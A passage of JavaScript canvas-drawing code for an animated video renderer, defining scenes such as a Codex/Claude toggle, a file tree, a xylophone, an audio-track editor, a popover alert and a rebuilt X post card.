      ctx.save(); const bcx = bx + bw / 2; ctx.translate(bcx, ay); ctx.scale(1 - .05 * pr, 1 - .05 * pr); ctx.translate(-bcx, -ay);
      ctx.beginPath(); ctx.roundRect(bx, ay - bh / 2, bw, bh, bh / 2); ctx.fillStyle = mix(C.blue, '#EDEAE2', d); ctx.fill();
      alpha(ctx, 1 - d, () => text(ctx, s.button, bcx, midBase(ay, 38), { size: 38, weight: 700, color: C.white, align: 'center' }));
      alpha(ctx, d, () => { checkIcon(ctx, bx + 32 + 14, ay, 26, C.ink, E.out(seg(t, s.clickAt + .1, s.clickAt + .45)), 4.5); text(ctx, s.done, bx + 32 + 40, midBase(ay, 38), { size: 38, weight: 700, color: C.ink }); });
      ctx.restore();
      const keys = [[s.from, [W + 60, y + h + 260]], [s.clickAt - .6, [bx + bw * .55, ay + 12]]];
      const [px, py] = track(t, keys, 9);
      cursor(ctx, px, py, { alpha: S(t - s.from - .15, 10), press: pr });
    }));
  },
};

// ---- switch: two app tiles with a toggle between them (Codex <-> Claude). sideKeys [[t, 0 | 1]]: 0 = left active.
// headerKeys [[t, text]] cross-fade above; chips [{text, at, side}] stack under their tile and dim with it.
const LOGO = {
  claude(ctx, cx, cy, r, col) {   // starburst
    ctx.save(); ctx.strokeStyle = col; ctx.lineCap = 'round'; ctx.lineWidth = r * .2;
    for (let i = 0; i < 11; i++) {
      const a = i * TAU / 11 - Math.PI / 2 + .12, l = r * (.62 + .38 * ((i * 7) % 5) / 4);
      ctx.beginPath(); ctx.moveTo(cx + Math.cos(a) * r * .14, cy + Math.sin(a) * r * .14); ctx.lineTo(cx + Math.cos(a) * l, cy + Math.sin(a) * l); ctx.stroke();
    }
    ctx.restore();
  },
  codex(ctx, cx, cy, r, col) { text(ctx, '>_', cx, midBase(cy, r * 1.1) - r * .06, { size: r * 1.1, weight: 800, align: 'center', color: col, fam: 'JetBrains Mono' }); },
};
function crossText(ctx, keys, t, x, y, o, pre = 0) {
  const { cur, prev, at } = labelAt(keys, t + pre); if (cur == null) return;
  const p = S(t - at + (prev == null ? pre : 0), 13);   // pre: the first header is already on screen at frame 1
  if (prev != null && p < 1) alpha(ctx, 1 - p, () => text(ctx, prev, x, y - 30 * p, o));
  alpha(ctx, Math.min(1, p * 1.35), () => text(ctx, cur, x, y + 30 * (1 - p), o));
}
const switchScene = {
  draw(R, s, t) {
    const { ctx } = R, y = s.y ?? 420, size = 250, tw = 200, th = 104, gap = 60, x0 = W / 2 - (size * 2 + tw + gap * 2) / 2;
    const xs = [x0, x0 + size + gap * 2 + tw], k = clamp(track(t, s.sideKeys, s.w || 13)), cy = y + size / 2;
    env(ctx, s, t, pin => {
      if (s.headerKeys) crossText(ctx, s.headerKeys, t, W / 2, y - 80, { size: 64, weight: 800, ls: -1.5, align: 'center' }, s.pre || 0);
      rise(ctx, pin, 50, () => {
        s.tiles.forEach((it, i) => {
          const act = i ? k : 1 - k, x = xs[i];
          sheet(ctx, x, y, size, size, 58, { elev: .5 + .7 * act });
          if (act > .01) alpha(ctx, act, () => { ctx.beginPath(); ctx.roundRect(x - 9, y - 9, size + 18, size + 18, 66); ctx.strokeStyle = C.blue; ctx.lineWidth = 6; ctx.stroke(); });
          const col = mix(C.ink3, C.ink, act);
          if (isImgLogo(it.logo)) alpha(ctx, .55 + .45 * act, () => logoImg(R, ctx, it.logo, x + 45, y + 45, size - 90, 40, { gray: 1 - act }));
          else if (LOGO[it.logo]) LOGO[it.logo](ctx, x + size / 2, cy, 78, col);
          else text(ctx, it.glyph, x + size / 2, midBase(cy, 110), { size: 110, weight: 800, ls: -3, align: 'center', color: col });
          text(ctx, it.label, x + size / 2, y + size + 70, { size: 46, weight: 800, ls: -.8, align: 'center', color: mix(C.ink3, C.ink, act) });
        });
        // toggle: paper track, blue knob slides to the active side
        const tx = x0 + size + gap, ty = cy - th / 2;
        sheet(ctx, tx, ty, tw, th, th / 2, { elev: .35 });
        ctx.beginPath(); ctx.roundRect(tx + 6, ty + 6, tw - 12, th - 12, (th - 12) / 2); ctx.fillStyle = 'rgba(40,30,10,.05)'; ctx.fill();
        const kr = th / 2 - 12, kx = lerp(tx + th / 2, tx + tw - th / 2, k);
        shadow(ctx, kx - kr, cy - kr, kr * 2, kr * 2, kr, 14, .18, 4);
        ctx.beginPath(); ctx.arc(kx, cy, kr, 0, TAU); ctx.fillStyle = C.blue; ctx.fill();
      });
      const n = [0, 0];
      for (const c of s.chips || []) {
        const p = S(t - c.at, 13), i = c.side ? 1 : 0, j = n[i]++; if (p <= .002) continue;
        const act = i ? k : 1 - k, cw = measure(ctx, c.text, 38, 700, -.3) + 56, cx = clamp(xs[i] + size / 2, 60 + cw / 2, W - 60 - cw / 2);
        rise(ctx, p, 22, () => chip(ctx, cx, y + size + 160 + j * 96, c.text, { size: 38, h: 78, padX: 28, fill: c.blue ? C.blue : undefined, color: c.blue ? C.white : C.ink, border: !c.blue, alpha: .4 + .6 * act }));
      }
    });
  },
};

// ---- tree: a project folder in mono. lines [{text: '├── CLAUDE.md', at, link: {text: 'AGENTS.md', at}}]
// Tree glyphs render in ink3, the name in ink, the symlink arrow + target in blue.
const tree = {
  draw(R, s, t) {
    const { ctx } = R, [x, y, w] = s.rect || [70, 380, 940], size = s.size || 42, lh = size * 1.7, pad = 54;
    const h = s.lines.length * lh + pad * 2 - (lh - size);
    env(ctx, s, t, pin => rise(ctx, pin, 60, () => {
      sheet(ctx, x, y, w, h, 36, { elev: 1.1 });
      const cw = measure(ctx, 'M', size, 500, 0, 'JetBrains Mono');
      s.lines.forEach((ln, i) => {
        const p = S(t - ln.at, 14); if (p <= .002) return;
        const m = ln.text.match(/^([│├└─\s]*)(.*)$/), pre = m[1], name = m[2], by = y + pad + size * .8 + i * lh;
        rise(ctx, p, 18, () => {
          const tx = x + pad;
          if (pre) text(ctx, pre, tx, by, { size, weight: 500, color: C.ink3, fam: 'JetBrains Mono' });
          text(ctx, name, tx + pre.length * cw, by, { size, weight: name.endsWith('/') ? 800 : 700, color: C.ink, fam: 'JetBrains Mono' });
          if (ln.link) {
            const q = S(t - ln.link.at, 14), lx = tx + (pre.length + name.length + 1) * cw;
            if (q > .002) rise(ctx, q, 0, () => text(ctx, '→ ' + ln.link.text, lx, by, { size, weight: 700, color: C.blue, fam: 'JetBrains Mono' }), -24);
          }
        }, 0);
      });
    }));
  },
};

// ---- snap: a finger-snap burst (over layer). {from: snap time, origin: [x, y] canvas px, r: 1}
const snap = {
  draw(R, s, t) {
    const { ctx } = R, [ox, oy] = s.origin || [W / 2, 700], k = s.r || 1, u = t - s.from;
    if (u < 0 || u > .7) return;
    const e = E.out(seg(u, 0, .45)), a = 1 - seg(u, .12, .55);
    ctx.save(); ctx.lineCap = 'round';
    for (let i = 0; i < 9; i++) {
      const an = i * TAU / 9 + .35 + (i % 2) * .12, r1 = (34 + 150 * e) * k, r2 = (60 + (i % 2 ? 190 : 250) * e) * k;
      const x1 = ox + Math.cos(an) * r1, y1 = oy + Math.sin(an) * r1, x2 = ox + Math.cos(an) * r2, y2 = oy + Math.sin(an) * r2;
      ctx.globalAlpha = a; ctx.strokeStyle = 'rgba(20,16,8,.25)'; ctx.lineWidth = 14; ctx.beginPath(); ctx.moveTo(x1, y1 + 3); ctx.lineTo(x2, y2 + 3); ctx.stroke();
      ctx.strokeStyle = i % 3 ? C.sheet : C.blue; ctx.lineWidth = 10; ctx.beginPath(); ctx.moveTo(x1, y1); ctx.lineTo(x2, y2); ctx.stroke();
    }
    ctx.globalAlpha = a * .9; ctx.strokeStyle = C.sheet; ctx.lineWidth = 5 * (1 - e) + 1.5; ctx.beginPath(); ctx.arc(ox, oy, (30 + 120 * e) * k, 0, TAU); ctx.stroke();
    ctx.restore();
  },
};

// eighth note, drawn (fonts may not carry the glyph)
function note(ctx, x, y, k) {
  ctx.save(); ctx.translate(x, y); ctx.scale(k, k); ctx.fillStyle = C.blue; ctx.strokeStyle = C.blue; ctx.lineCap = 'round';
  ctx.beginPath(); ctx.ellipse(-8, 18, 17, 12, -.4, 0, TAU); ctx.fill();
  ctx.lineWidth = 6; ctx.beginPath(); ctx.moveTo(7, 14); ctx.lineTo(7, -38); ctx.quadraticCurveTo(22, -26, 30, -12); ctx.stroke();
  ctx.restore();
}

// ---- xylo: a paper xylophone. bars rise in, a mallet strikes them on the sung notes.
// {y, notes: ['E', 'G', 'A', 'C'], midi: [76, 79, 81, 84], hitKeys: [[at, barIndex]], restAt}
const xylo = {
  draw(R, s, t) {
    const { ctx } = R, n = s.notes.length, bw = 170, gap = 34, x0 = W / 2 - (n * bw + (n - 1) * gap) / 2, cy = (s.y ?? 420) + 290;
    const hs = s.notes.map((_, i) => 560 - i * 60), hits = s.hitKeys || [];
    env(ctx, s, t, pin => {
      // rails
      rise(ctx, pin, 40, () => [-150, 150].forEach(dy => { ctx.beginPath(); ctx.roundRect(x0 - 50, cy + dy - 11, n * bw + (n - 1) * gap + 100, 22, 11); ctx.fillStyle = C.dim; ctx.fill(); }));
      s.notes.forEach((nt, i) => {
        const p = S(t - s.from - .1 - i * .08, 12); if (p <= .002) return;
        const x = x0 + i * (bw + gap), h = hs[i];
        let glow = 0; for (const [at, j] of hits) if (j === i && t >= at) glow = Math.max(glow, Math.exp(-(t - at) * 3.2));
        const dip = hits.reduce((m, [at, j]) => j === i ? Math.max(m, press(t, at, .16)) : m, 0);
        rise(ctx, p, 70, () => {
          sheet(ctx, x, cy - h / 2 + 8 * dip, bw, h, 26, { elev: 1.1 - .6 * dip, fill: glow > .01 ? mix(C.sheet, C.blue, glow) : undefined });
          [-150, 150].forEach(dy => { ctx.beginPath(); ctx.arc(x + bw / 2, cy + dy + 8 * dip, 9, 0, TAU); ctx.fillStyle = glow > .4 ? 'rgba(255,255,255,.7)' : C.ink3; ctx.fill(); });
          text(ctx, nt, x + bw / 2, midBase(cy + 8 * dip, 64), { size: 64, weight: 800, align: 'center', color: mix(C.ink2, C.white, glow) });
        });
        for (const [at, j] of hits) if (j === i && t >= at && t < at + 1.2) {   // a note floats up from the bar
          const u = (t - at) / 1.2, nx = x + bw / 2 + 50 * Math.sin(u * 3 + i), ny = cy - h / 2 - 40 - 200 * E.out(u);
          alpha(ctx, (1 - u) * Math.min(1, u * 8), () => note(ctx, nx, ny, 1.1));
        }
      });
      // mallet: springs to the next bar just before each hit, taps down on it
      if (hits.length) {
        const bx = i => x0 + i * (bw + gap) + bw / 2, top = i => cy - hs[i] / 2;
        const keys = [[s.from, [W + 200, cy - 420]], ...hits.map(([at, j]) => [at - .22, [bx(j), top(j) - 120], 16]), [s.restAt ?? hits.at(-1)[0] + .6, [W + 200, cy - 420], 8]];
        const [mx, my] = track(t, keys, 14), hit = hits.reduce((m, [at]) => Math.max(m, press(t, at - .08, .2)), 0);
        const hx = mx, hy = my + 100 * hit, a = vis(t, s.from + .2, (s.restAt ?? hits.at(-1)[0] + .6) + .2, 10, 8);
        alpha(ctx, a, () => {
          ctx.save(); ctx.lineCap = 'round';
          ctx.strokeStyle = 'rgba(40,28,10,.18)'; ctx.lineWidth = 16; ctx.beginPath(); ctx.moveTo(hx + 20, hy + 10); ctx.lineTo(hx + 250, hy - 250); ctx.stroke();
          ctx.strokeStyle = C.ink2; ctx.lineWidth = 14; ctx.beginPath(); ctx.moveTo(hx, hy); ctx.lineTo(hx + 230, hy - 260); ctx.stroke();
          shadow(ctx, hx - 38, hy - 38, 76, 76, 38, 12, .2, 6);
          ctx.beginPath(); ctx.arc(hx, hy, 38, 0, TAU); ctx.fillStyle = C.ink; ctx.fill();
          ctx.beginPath(); ctx.arc(hx - 11, hy - 12, 11, 0, TAU); ctx.fillStyle = 'rgba(255,255,255,.22)'; ctx.fill();
          ctx.restore();
        });
      }
    });
  },
};

// ---- sfxtrack: an audio editor lane per sound, a playhead sweeps and lights each clip as it passes.
// {y, header: {text, at}, tag: {text, at}, rows: [{label, at, clips: [[x0, x1]] (0..1 of the lane), sound}], playFrom, playTo}
const sfxtrack = {
  draw(R, s, t) {
    const { ctx } = R, x = 60, w = 960, y = s.y ?? 330, rh = 150, lx = x + 300, lw = w - 300 - 40, h = s.rows.length * rh + 60;
    const ph = seg(t, s.playFrom, s.playTo), phx = lx + lw * ph;
    env(ctx, s, t, pin => {
      if (s.header) rise(ctx, S(t - s.header.at, 12), 40, () => text(ctx, s.header.text, x + 10, y - 56, { size: 64, weight: 800, ls: -1.5 }));
      if (s.tag) { const p = S(t - s.tag.at, 13); if (p > .002) rise(ctx, p, 22, () => chip(ctx, x + w, y - 80, s.tag.text, { align: 'right', size: 38, h: 76, fill: C.blue, color: C.white, border: false })); }
      rise(ctx, pin, 70, () => {
        sheet(ctx, x, y, w, h, 36, { elev: 1.2 });
        s.rows.forEach((r, i) => {
          const ry = y + 30 + i * rh, p = S(t - r.at, 13); if (p <= .002) return;
          rise(ctx, p, 20, () => {
            if (i) { ctx.fillStyle = C.line; ctx.fillRect(x + 30, ry, w - 60, 1.5); }
            text(ctx, r.label, x + 40, midBase(ry + rh / 2, 42), { size: 42, weight: 700, ls: -.6 });
            ctx.beginPath(); ctx.roundRect(lx, ry + 28, lw, rh - 56, 18); ctx.fillStyle = 'rgba(40,30,10,.04)'; ctx.fill();
            r.clips.forEach(([a, b], k) => {
              const cx = lx + lw * a, cw = Math.max(18, lw * (b - a)), cy = ry + 36, chh = rh - 72;
              const lit = ph > a ? Math.exp(-Math.max(0, (t - s.playFrom) - (s.playTo - s.playFrom) * b) * 4) * (ph < 1 || t < s.playTo + .8 ? 1 : 0) : 0;
              const on = ph > a && ph <= b + .02 ? 1 : lit;
              ctx.beginPath(); ctx.roundRect(cx, cy, cw, chh, 12); ctx.fillStyle = mix(C.tint, C.blue, on); ctx.fill();
              ctx.strokeStyle = 'rgba(37,142,255,.5)'; ctx.lineWidth = 2; ctx.stroke();
              ctx.fillStyle = on > .5 ? 'rgba(255,255,255,.9)' : 'rgba(37,142,255,.75)';
              const nb = Math.max(1, Math.floor((cw - 16) / 12));
              for (let q = 0; q < nb; q++) { const hh = (chh - 24) * (.25 + .75 * Math.abs(Math.sin(q * 1.7 + i * 3 + k))) * (r.sound === 'snap' ? Math.exp(-q * .5) : 1); ctx.fillRect(cx + 10 + q * 12, cy + chh / 2 - hh / 2, 6, hh); }
            });
          });
        });
        if (t > s.playFrom - .3 && t < s.playTo + .6) alpha(ctx, vis(t, s.playFrom - .3, s.playTo + .2, 14, 10), () => {
          ctx.fillStyle = C.blue; ctx.fillRect(phx - 2.5, y + 18, 5, h - 36);
          ctx.beginPath(); ctx.moveTo(phx - 16, y + 6); ctx.lineTo(phx + 16, y + 6); ctx.lineTo(phx, y + 26); ctx.closePath(); ctx.fill();
        });
      });
    });
  },
};

// ---- popover: a macOS alert that lands over the camera and follows where the speaker points.
// {keys: [[t, [x, y]]] (top-left), w: 780, icon: 'claude', title, message: {text, from, to}, buttons: ['Annuler', 'OK'], clickAt}
const popover = {
  prep(s, R) {
    if (s._p) return s._p;
    const { ctx } = R, w = s.w || 780, fs = 40, lh = 54, lines = wrap(ctx, s.message.text, w - 120, fs, 500);
    const toks = typing(s.message.text, R.tl.words, s.message.from, s.message.to);
    const h = 60 + 110 + 36 + 60 + lines.length * lh + 40 + 96 + 44;
    return (s._p = { w, h, fs, lh, lines, toks });
  },
  draw(R, s, t) {
    const { ctx } = R, P = popover.prep(s, R), { w, h, fs, lh, lines, toks } = P;
    const [x, y] = track(t, s.keys, 9), pin = S(t - s.from, 13), out = s.to != null ? leave(t - s.to) : 0;
    const a = Math.min(1, pin * 1.4) * (1 - out); if (a <= .002) return;
    ctx.save(); ctx.globalAlpha *= a;
    const sc = (.9 + .1 * pin) * (1 - .06 * out), cx = x + w / 2, cy = y + h / 2;
    ctx.translate(cx, cy); ctx.scale(sc, sc); ctx.translate(-cx, -cy - 30 * (1 - pin));
    sheet(ctx, x, y, w, h, 44, { elev: 2 });
    const ic = 110, ix = x + w / 2 - ic / 2, iy = y + 60;
    ctx.beginPath(); ctx.roundRect(ix, iy, ic, ic, 30); ctx.fillStyle = C.blue; ctx.fill();
    LOGO.claude(ctx, ix + ic / 2, iy + ic / 2, 38, C.white);
    text(ctx, s.title, x + w / 2, iy + ic + 36 + 44, { size: 46, weight: 800, ls: -.8, align: 'center' });
    let n = 0; toks.forEach((k, i) => { const d = Math.min(.26, Math.max(.08, k.end - k.start)); n += t >= k.start ? (i ? 1 : 0) + Math.round(k.tok.length * clamp((t - k.start) / d)) : 0; });
    let acc = 0, cxr = x + w / 2, cyr = iy + ic + 36 + 60 + fs;
    lines.forEach((l, i) => {
      const v = clamp(n - acc, 0, l.length); acc += l.length + 1; if (v <= 0) return;
      const yy = iy + ic + 36 + 60 + fs + 10 + i * lh, full = measure(ctx, l, fs, 500), str = l.slice(0, v);
      text(ctx, str, x + w / 2 - full / 2, yy, { size: fs, weight: 500, color: C.ink2 }); cxr = x + w / 2 - full / 2 + measure(ctx, str, fs, 500); cyr = yy;
    });
    if (t < s.message.to + .2 && t > s.message.from - .3) alpha(ctx, .5 + .5 * Math.round((Math.sin(t * 12) + 1) / 2), () => { ctx.fillStyle = C.blue; ctx.fillRect(cxr + 3, cyr - fs * .8, 3.5, fs * .98); });
    const by = y + h - 44 - 96, bs = s.buttons || ['Annuler', 'OK'], gw = (w - 60 * 2 - 24) / 2, pr = press(t, s.clickAt, .2);
    bs.forEach((b, i) => {
      const bx = x + 60 + i * (gw + 24), last = i === bs.length - 1;
      ctx.save(); if (last && pr) { ctx.translate(bx + gw / 2, by + 48); ctx.scale(1 - .05 * pr, 1 - .05 * pr); ctx.translate(-(bx + gw / 2), -(by + 48)); }
      ctx.beginPath(); ctx.roundRect(bx, by, gw, 96, 30); ctx.fillStyle = last ? (pr ? C.blue2 : C.blue) : '#ECE8DF'; ctx.fill();
      text(ctx, b, bx + gw / 2, midBase(by + 48, 40), { size: 40, weight: 700, align: 'center', color: last ? C.white : C.ink });
      ctx.restore();
    });
    ctx.restore();
    const okx = x + 60 + (bs.length - 1) * (gw + 24) + gw * .55, oky = by + 58;
    const [px, py] = track(t, [[s.from, [W + 80, y + h + 300]], [s.clickAt - .7, [okx, oky]]], 9);
    cursor(ctx, px, py, { alpha: vis(t, s.clickAt - 1.1, s.clickAt + .4, 10, 12) * (1 - out), press: pr });
  },
};

// ---- pause: the video stops. A paper play/pause badge with a blue ring that fills over the pause, then morphs to
// play and leaves. {from, to, keys: [[t, [x, y, r]]]}. Use 'p+X' times.
const pauseScene = {
  draw(R, s, t) {
    const { ctx } = R, [x, y, r] = track(t, s.keys || [[s.from, [W / 2, 960, 130]]], 11);
    const pin = S(t - s.from, 16), out = leave(t - s.to - .15), a = Math.min(1, pin * 1.5) * (1 - out); if (a <= .002) return;
    const play = S(t - s.to + .45, 16), ring = E.io(seg(t, s.from + .2, s.to - .45));
    ctx.save(); ctx.globalAlpha *= a; ctx.translate(x, y); const sc = (.85 + .15 * pin) * (1 + .12 * out); ctx.scale(sc, sc);
    shadow(ctx, -r, -r, r * 2, r * 2, r, 30, .28, 12);
    ctx.beginPath(); ctx.arc(0, 0, r, 0, TAU); ctx.fillStyle = sheetFill(); ctx.fill();
    ctx.beginPath(); ctx.arc(0, 0, r - 14, 0, TAU); ctx.strokeStyle = 'rgba(40,30,10,.07)'; ctx.lineWidth = 12; ctx.stroke();
    if (ring > 0) { ctx.beginPath(); ctx.arc(0, 0, r - 14, -Math.PI / 2, -Math.PI / 2 + TAU * ring); ctx.strokeStyle = C.blue; ctx.lineCap = 'round'; ctx.lineWidth = 12; ctx.stroke(); }
    // pause bars morph into the play triangle
    const bw = r * .2, bh = r * .78, gx = r * .17;
    ctx.fillStyle = C.ink; ctx.beginPath();
    const L = [[-gx - bw, -bh / 2], [-gx, -bh / 2], [-gx, bh / 2], [-gx - bw, bh / 2]], Rr = [[gx, -bh / 2], [gx + bw, -bh / 2], [gx + bw, bh / 2], [gx, bh / 2]];
    const T1 = [[-r * .28, -bh / 2], [r * .08, -bh * .26], [r * .08, bh * .26], [-r * .28, bh / 2]], T2 = [[r * .08, -bh * .26], [r * .42, 0], [r * .42, 0], [r * .08, bh * .26]];
    [[L, T1], [Rr, T2]].forEach(([A, B]) => { A.forEach(([ax, ay], i) => { const px = lerp(ax, B[i][0], play), py = lerp(ay, B[i][1], play); i ? ctx.lineTo(px, py) : ctx.moveTo(px, py); }); ctx.closePath(); });
    ctx.fill();
    ctx.restore();
  },
};

// ---- pipeline: who did what, one row per tool, landing on the narrator's words. {y, header: {text, at, logo}, rows: [{glyph | logo, title, sub, at, blue}]}
const pipeline = {
  draw(R, s, t) {
    const { ctx } = R, x = 60, w = 960, y = s.y ?? 190, rh = 132, hh = 150, h = hh + s.rows.length * rh + 30;
    const talking = R.tl.words.some(wd => wd.narrator && t >= wd.start - .03 && t <= wd.end + .05) ? 1 : 0;
    env(ctx, s, t, pin => rise(ctx, pin, 80, () => {
      sheet(ctx, x, y, w, h, 40, { elev: 1.5 });
      const hy = y + hh / 2 + 6, hp = S(t - s.header.at, 13);
      alpha(ctx, Math.min(1, hp * 1.4), () => {
        if (isImgLogo(s.header.logo)) logoImg(R, ctx, s.header.logo, x + 40, hy - 45, 90, 24);
        else { ctx.beginPath(); ctx.roundRect(x + 40, hy - 45, 90, 90, 26); ctx.fillStyle = C.blue; ctx.fill(); }
        if (isImgLogo(s.header.logo)) {}
        else if (s.header.glyph) text(ctx, s.header.glyph, x + 85, midBase(hy, 44), { size: 44, weight: 800, align: 'center', color: C.white });
        else LOGO.claude(ctx, x + 85, hy, 30, C.white);
        text(ctx, s.header.text, x + 158, midBase(hy, 60), { size: 60, weight: 800, ls: -1.4 });
        // live voice meter: the narrator is talking
        for (let i = 0; i < 9; i++) {
          const v = talking ? .25 + .75 * Math.abs(Math.sin(t * (11 + i * 1.7) + i * 2.1)) * (.6 + .4 * Math.sin(t * 5 + i)) : .12;
          const bh = 12 + 58 * v; ctx.beginPath(); ctx.roundRect(x + w - 60 - (9 - i) * 22, hy - bh / 2, 12, bh, 6); ctx.fillStyle = C.blue; ctx.fill();
        }
      });
      ctx.fillStyle = C.line; ctx.fillRect(x + 36, y + hh, w - 72, 1.5);
      s.rows.forEach((r, i) => {
        const ry = y + hh + 14 + i * rh, cy = ry + rh / 2, p = S(t - r.at, 13); if (p <= .002) return;
        rise(ctx, p, 30, () => {
          const tile = 92, tx = x + 40;
          if (isImgLogo(r.logo)) logoImg(R, ctx, r.logo, tx, cy - tile / 2, tile, 24);
          else { ctx.beginPath(); ctx.roundRect(tx, cy - tile / 2, tile, tile, 26); ctx.fillStyle = r.blue ? C.blue : C.tint; ctx.fill(); }
          if (isImgLogo(r.logo)) {}
          else if (r.logo && LOGO[r.logo]) LOGO[r.logo](ctx, tx + tile / 2, cy, 30, r.blue ? C.white : C.blue);
          else text(ctx, r.glyph, tx + tile / 2, midBase(cy, 44), { size: 44, weight: 800, align: 'center', color: r.blue ? C.white : C.blue, fam: r.mono ? 'JetBrains Mono' : undefined });
          text(ctx, r.title, tx + tile + 30, cy - 6, { size: 46, weight: 800, ls: -.8, color: r.blue ? C.blue : C.ink });
          text(ctx, r.sub, tx + tile + 30, cy + 40, { size: 36, weight: 600, color: C.ink2 });
          const cp = S(t - r.at - .25, 14);
          if (cp > .002) alpha(ctx, cp, () => { const kx = x + w - 80, kr = 30; ctx.beginPath(); ctx.arc(kx, cy, kr, 0, TAU); ctx.fillStyle = r.blue ? C.blue : C.tint; ctx.fill(); checkIcon(ctx, kx, cy, 30, r.blue ? C.white : C.blue, E.out(seg(t, r.at + .3, r.at + .7)), 5); });
        });
      });
    }));
  },
};

// ---- comment: a comment composer as the CTA (over layer). {y, placeholder, typed, clickAt, typeFrom, typeTo, button}
const comment = {
  draw(R, s, t) {
    const { ctx } = R, w = 920, h = 200, x = W / 2 - w / 2, y = s.y - h / 2;
    env(ctx, s, t, pin => rise(ctx, pin, 90, () => {
      sheet(ctx, x, y, w, h, 48, { elev: 1.8 });
      const ax = x + 40 + 52, ay = y + h / 2;
      ctx.save(); ctx.beginPath(); ctx.arc(ax, ay, 52, 0, TAU); ctx.clip();
      const e = R.spec.cam?.eyes || [600, 400];
      if (R.cam) ctx.drawImage(R.cam, e[0] - 250, e[1] - 210, 500, 500, ax - 52, ay - 52, 104, 104); ctx.restore();
      const fx = x + 176, fw = w - 176 - 40 - 170, focus = S(t - s.clickAt, 16);
      const n = Math.round((s.typed || '').length * clamp((t - s.typeFrom) / (s.typeTo - s.typeFrom)));
      const str = (s.typed || '').slice(0, Math.max(0, n));
      if (str) text(ctx, str, fx, midBase(ay, 42), { size: 42, weight: 600, color: C.ink });
      else text(ctx, s.placeholder, fx, midBase(ay, 40), { size: 40, weight: 500, color: C.ink3 });
      ctx.fillStyle = mix('#E3DED3', '#258EFF', focus); ctx.fillRect(fx, ay + 44, fw * (.3 + .7 * focus) + 0, 3);
      if (focus > .1 && Math.sin(t * 11) > -.2) { const cx = fx + (str ? measure(ctx, str, 42, 600) + 4 : 0); ctx.fillStyle = C.blue; ctx.fillRect(cx, ay - 30, 3.5, 44); }
      const ready = str.length === (s.typed || '').length && str ? S(t - s.typeTo, 14) : 0, bw = 150, bx = x + w - 40 - bw;
      ctx.beginPath(); ctx.roundRect(bx, ay - 42, bw, 84, 42); ctx.fillStyle = mix('#ECE8DF', C.blue, ready); ctx.fill();
      text(ctx, s.button || 'Publier', bx + bw / 2, midBase(ay, 34), { size: 34, weight: 700, align: 'center', color: mix(C.ink3, C.white, ready) });
      const [px, py] = track(t, [[s.from, [W + 60, y + h + 260]], [s.clickAt - .6, [fx + 200, ay + 10]], [s.typeTo + .1, [bx + bw * .6, ay + 12]]], 9);
      cursor(ctx, px, py, { alpha: S(t - s.from - .15, 10), press: Math.max(press(t, s.clickAt, .2), s.sendAt ? press(t, s.sendAt, .2) : 0) });
    }));
  },
};

// ---- X post rebuilt natively. A desktop screenshot of a long post puts the body at ~25 px on a 960 card; this
// redraws it as a light paper sheet with a 40 px body. text: '**bold**' spans; marks: [{at, text, dur}] highlight
// the first occurrence of `text` (across line breaks) when it is spoken. h auto-fits unless rect[3] is given.
function richLayout(ctx, str, maxW, size) {
  const words = []; let cur = null, bold = false, plain = '';
  for (let i = 0; i < str.length; i++) {
    if (str.startsWith('**', i)) { bold = !bold; i++; continue; }
    const ch = str[i];
    if (ch === ' ') { cur = null; plain += ' '; continue; }
    if (!cur) { cur = { runs: [], s: plain.length }; words.push(cur); }
    const r = cur.runs.at(-1); if (r && r.bold === bold) r.t += ch; else cur.runs.push({ t: ch, bold });
    plain += ch; cur.e = plain.length;
  }
  const sp = measure(ctx, ' ', size, 500);
  let x = 0, line = 0;
  for (const w of words) {
    w.runs.forEach(r => { r.w = measure(ctx, r.t, size, r.bold ? 700 : 500); });
    w.w = w.runs.reduce((a, r) => a + r.w, 0);
    if (x > 0 && x + w.w > maxW) { x = 0; line++; }
    w.x = x; w.line = line; x += w.w + sp;
  }
  return { words, plain, lines: words.length ? line + 1 : 0 };
}
function markSegs(L, str) {   // [{line, x0, x1}] covering `str` in reading order
  const a = L.plain.indexOf(str); if (a < 0) return [];
  const b = a + str.length, segs = [];
  for (const w of L.words) if (w.e > a && w.s < b) {
    const g = segs.at(-1);
    if (g && g.line === w.line) g.x1 = w.x + w.w; else segs.push({ line: w.line, x0: w.x, x1: w.x + w.w });
  }
  return segs;
}
function xLogo(ctx, cx, cy, s, color) {
  ctx.save(); ctx.fillStyle = color; ctx.strokeStyle = color; ctx.lineCap = 'butt';
  ctx.beginPath(); ctx.moveTo(cx - s * .5, cy - s * .5); ctx.lineTo(cx - s * .2, cy - s * .5); ctx.lineTo(cx + s * .5, cy + s * .5); ctx.lineTo(cx + s * .2, cy + s * .5); ctx.closePath(); ctx.fill();
  ctx.lineWidth = s * .09; ctx.beginPath(); ctx.moveTo(cx + s * .44, cy - s * .5); ctx.lineTo(cx - s * .44, cy + s * .5); ctx.stroke(); ctx.restore();
}
function verified(ctx, cx, cy, r) {   // scalloped blue badge + white check
  ctx.save(); ctx.beginPath();
  for (let k = 0; k <= 48; k++) { const a = k / 48 * TAU, rr = r * (1 + .09 * Math.cos(a * 8)); ctx.lineTo(cx + Math.cos(a) * rr, cy + Math.sin(a) * rr); }
  ctx.fillStyle = C.blue; ctx.fill(); ctx.restore();
  checkIcon(ctx, cx, cy, r * 1.05, C.white, 1, r * .24);
}
// media: the post's clip (a `media` id) played from `offset`; mediaKeys [[at, offset, id?]] jump-cut inside it (or to
// another media id) on the spoken word, so one long launch film shows its best shots. mediaAr = h/w (default 9/16).
function tweetMedia(s, t) {
  if (s.mediaKeys) { const k = s.mediaKeys.filter(q => t >= q[0]).at(-1) || s.mediaKeys[0]; return [k[2] || s.media, Math.max(0, k[1] + t - Math.max(k[0], s.from))]; }
  return s.media ? [s.media, clipTime(t, s.from, s.offset)] : null;
}
const tweet = {
  needs(s, t) {
    if (t < s.from - (s.pre || 0) - .3 || t > (s.to ?? 1e9) + .7) return [];
    const m = tweetMedia(s, t); return [...(s.avatar ? [[s.avatar, 0]] : []), ...(m ? [m] : [])];
  },
  prep(s, R) {
    if (s._p) return s._p;
    const { ctx } = R, [x, y, w, hh] = s.rect, size = s.size || 40, lh = Math.round(size * 1.34), pad = 44;
    const L = richLayout(ctx, s.text, w - pad * 2, size), top = y + 40 + 88 + 66;
    const mh = s.media || s.mediaKeys ? Math.round((w - pad * 2) * (s.mediaAr || 9 / 16)) : 0, M = mh ? mh + 34 : 0;
    const h = hh ?? (top - y) + (L.lines - 1) * lh + M + (s.footer ? 140 : 54);
    return (s._p = { x, y, w, h, size, lh, pad, L, top, mh, M, marks: (s.marks || []).map(m => ({ ...m, segs: markSegs(L, m.text) })) });
